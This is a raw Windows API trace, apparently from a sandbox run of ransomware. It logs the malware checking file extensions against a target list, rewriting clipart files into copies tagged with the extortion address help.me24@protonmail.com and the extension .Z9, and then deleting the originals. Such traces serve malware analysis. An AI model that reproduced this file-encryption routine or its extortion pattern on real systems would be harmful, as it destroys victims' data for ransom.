	[0096.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0096.577] lstrlenW (lpString=".jpg") returned 4
	[0096.577] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0096.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0096.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0096.578] lstrlenW (lpString=".doc") returned 4
	[0096.578] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0096.578] lstrlenW (lpString=".docx") returned 5
	[0096.578] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0096.578] lstrlenW (lpString=".pdf") returned 4
	[0096.578] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0096.578] lstrlenW (lpString=".xls") returned 4
	[0096.578] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0096.578] lstrlenW (lpString=".xlsx") returned 5
	[0096.578] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0096.578] lstrlenW (lpString=".ppt") returned 4
	[0096.578] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0096.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0096.578] lstrlenW (lpString=".zip") returned 4
	[0096.578] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0096.578] lstrlenW (lpString=".rar") returned 4
	[0096.578] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0096.578] lstrlenW (lpString=".bz2") returned 4
	[0096.578] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0096.578] lstrlenW (lpString=".7z") returned 3
	[0096.578] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0096.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0096.578] lstrlenW (lpString=".dbf") returned 4
	[0096.578] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0096.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0096.578] lstrlenW (lpString=".1cd") returned 4
	[0096.578] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0096.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0096.578] lstrlenW (lpString=".jpg") returned 4
	[0096.578] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0096.578] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0096.578] lstrlenW (lpString="J0099146.WMF") returned 12
	[0096.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0096.579] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=16596) returned 1
	[0096.579] CloseHandle (hObject=0x35c) returned 1
	[0096.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 0x220
	[0096.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0096.860] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.860] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0097.102] GetLastError () returned 0x0
	[0097.102] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x40d4, lpOverlapped=0x0) returned 1
	[0097.192] WriteFile (in: hFile=0x368, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x40e0, lpOverlapped=0x0) returned 1
	[0097.195] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0097.195] WriteFile (in: hFile=0x368, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0097.195] SetEndOfFile (hFile=0x368) returned 1
	[0097.195] CloseHandle (hObject=0x368) returned 1
	[0097.195] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.195] SetEndOfFile (hFile=0x300) returned 1
	[0097.196] CloseHandle (hObject=0x300) returned 1
	[0097.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0097.196] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 1
	[0097.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0097.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0097.197] lstrlenW (lpString=".doc") returned 4
	[0097.197] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0097.197] lstrlenW (lpString=".docx") returned 5
	[0097.197] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0097.197] lstrlenW (lpString=".pdf") returned 4
	[0097.197] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0097.197] lstrlenW (lpString=".xls") returned 4
	[0097.197] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0097.197] lstrlenW (lpString=".xlsx") returned 5
	[0097.197] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0097.197] lstrlenW (lpString=".ppt") returned 4
	[0097.197] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0097.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0097.197] lstrlenW (lpString=".zip") returned 4
	[0097.197] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0097.197] lstrlenW (lpString=".rar") returned 4
	[0097.197] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0097.197] lstrlenW (lpString=".bz2") returned 4
	[0097.197] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0097.197] lstrlenW (lpString=".7z") returned 3
	[0097.197] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0097.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0097.197] lstrlenW (lpString=".dbf") returned 4
	[0097.197] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0097.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0097.197] lstrlenW (lpString=".1cd") returned 4
	[0097.197] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0097.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0097.197] lstrlenW (lpString=".jpg") returned 4
	[0097.197] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0097.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0097.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0097.197] lstrlenW (lpString=".doc") returned 4
	[0097.197] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0097.198] lstrlenW (lpString=".docx") returned 5
	[0097.198] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0097.198] lstrlenW (lpString=".pdf") returned 4
	[0097.198] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0097.198] lstrlenW (lpString=".xls") returned 4
	[0097.198] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0097.198] lstrlenW (lpString=".xlsx") returned 5
	[0097.198] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0097.198] lstrlenW (lpString=".ppt") returned 4
	[0097.198] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0097.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0097.198] lstrlenW (lpString=".zip") returned 4
	[0097.198] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0097.198] lstrlenW (lpString=".rar") returned 4
	[0097.198] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0097.198] lstrlenW (lpString=".bz2") returned 4
	[0097.198] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0097.198] lstrlenW (lpString=".7z") returned 3
	[0097.198] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0097.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0097.198] lstrlenW (lpString=".dbf") returned 4
	[0097.198] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0097.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0097.198] lstrlenW (lpString=".1cd") returned 4
	[0097.198] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0097.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0097.198] lstrlenW (lpString=".jpg") returned 4
	[0097.198] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0097.198] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0097.198] lstrlenW (lpString="J0099151.WMF") returned 12
	[0097.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0097.199] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=26086) returned 1
	[0097.199] CloseHandle (hObject=0x300) returned 1
	[0097.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 0x220
	[0097.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0097.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0097.199] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.199] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0097.200] GetLastError () returned 0x0
	[0097.200] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x65e6, lpOverlapped=0x0) returned 1
	[0097.225] WriteFile (in: hFile=0x368, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x65f0, lpOverlapped=0x0) returned 1
	[0097.226] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0097.226] WriteFile (in: hFile=0x368, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0097.226] SetEndOfFile (hFile=0x368) returned 1
	[0097.226] CloseHandle (hObject=0x368) returned 1
	[0097.226] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.227] SetEndOfFile (hFile=0x300) returned 1
	[0097.227] CloseHandle (hObject=0x300) returned 1
	[0097.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0097.228] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 1
	[0097.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0097.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0097.228] lstrlenW (lpString=".doc") returned 4
	[0097.228] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0097.228] lstrlenW (lpString=".docx") returned 5
	[0097.228] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0097.228] lstrlenW (lpString=".pdf") returned 4
	[0097.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0097.228] lstrlenW (lpString=".xls") returned 4
	[0097.228] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0097.228] lstrlenW (lpString=".xlsx") returned 5
	[0097.228] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0097.228] lstrlenW (lpString=".ppt") returned 4
	[0097.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0097.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0097.228] lstrlenW (lpString=".zip") returned 4
	[0097.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0097.228] lstrlenW (lpString=".rar") returned 4
	[0097.228] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0097.228] lstrlenW (lpString=".bz2") returned 4
	[0097.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0097.228] lstrlenW (lpString=".7z") returned 3
	[0097.229] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0097.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0097.229] lstrlenW (lpString=".dbf") returned 4
	[0097.229] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0097.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0097.229] lstrlenW (lpString=".1cd") returned 4
	[0097.229] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0097.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0097.229] lstrlenW (lpString=".jpg") returned 4
	[0097.229] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0097.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0097.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0097.229] lstrlenW (lpString=".doc") returned 4
	[0097.229] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0097.229] lstrlenW (lpString=".docx") returned 5
	[0097.229] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0097.229] lstrlenW (lpString=".pdf") returned 4
	[0097.229] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0097.229] lstrlenW (lpString=".xls") returned 4
	[0097.229] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0097.229] lstrlenW (lpString=".xlsx") returned 5
	[0097.229] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0097.229] lstrlenW (lpString=".ppt") returned 4
	[0097.229] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0097.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0097.229] lstrlenW (lpString=".zip") returned 4
	[0097.229] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0097.229] lstrlenW (lpString=".rar") returned 4
	[0097.229] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0097.229] lstrlenW (lpString=".bz2") returned 4
	[0097.229] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0097.229] lstrlenW (lpString=".7z") returned 3
	[0097.229] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0097.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0097.229] lstrlenW (lpString=".dbf") returned 4
	[0097.230] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0097.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0097.230] lstrlenW (lpString=".1cd") returned 4
	[0097.230] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0097.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0097.230] lstrlenW (lpString=".jpg") returned 4
	[0097.230] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0097.230] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0097.230] lstrlenW (lpString="J0099153.WMF") returned 12
	[0097.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0097.230] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=13874) returned 1
	[0097.230] CloseHandle (hObject=0x300) returned 1
	[0097.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 0x220
	[0097.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0097.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0097.231] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.231] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0097.231] GetLastError () returned 0x0
	[0097.231] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x3632, lpOverlapped=0x0) returned 1
	[0097.240] WriteFile (in: hFile=0x368, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x3640, lpOverlapped=0x0) returned 1
	[0097.241] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0097.241] WriteFile (in: hFile=0x368, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0097.241] SetEndOfFile (hFile=0x368) returned 1
	[0097.241] CloseHandle (hObject=0x368) returned 1
	[0097.241] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.242] SetEndOfFile (hFile=0x300) returned 1
	[0097.242] CloseHandle (hObject=0x300) returned 1
	[0097.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0097.243] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 1
	[0097.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0097.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0097.243] lstrlenW (lpString=".doc") returned 4
	[0097.243] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0097.243] lstrlenW (lpString=".docx") returned 5
	[0097.243] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0097.243] lstrlenW (lpString=".pdf") returned 4
	[0097.243] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0097.243] lstrlenW (lpString=".xls") returned 4
	[0097.243] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0097.243] lstrlenW (lpString=".xlsx") returned 5
	[0097.243] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0097.243] lstrlenW (lpString=".ppt") returned 4
	[0097.243] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0097.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0097.243] lstrlenW (lpString=".zip") returned 4
	[0097.243] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0097.243] lstrlenW (lpString=".rar") returned 4
	[0097.243] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0097.243] lstrlenW (lpString=".bz2") returned 4
	[0097.244] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0097.244] lstrlenW (lpString=".7z") returned 3
	[0097.244] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0097.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0097.244] lstrlenW (lpString=".dbf") returned 4
	[0097.244] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0097.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0097.244] lstrlenW (lpString=".1cd") returned 4
	[0097.244] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0097.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
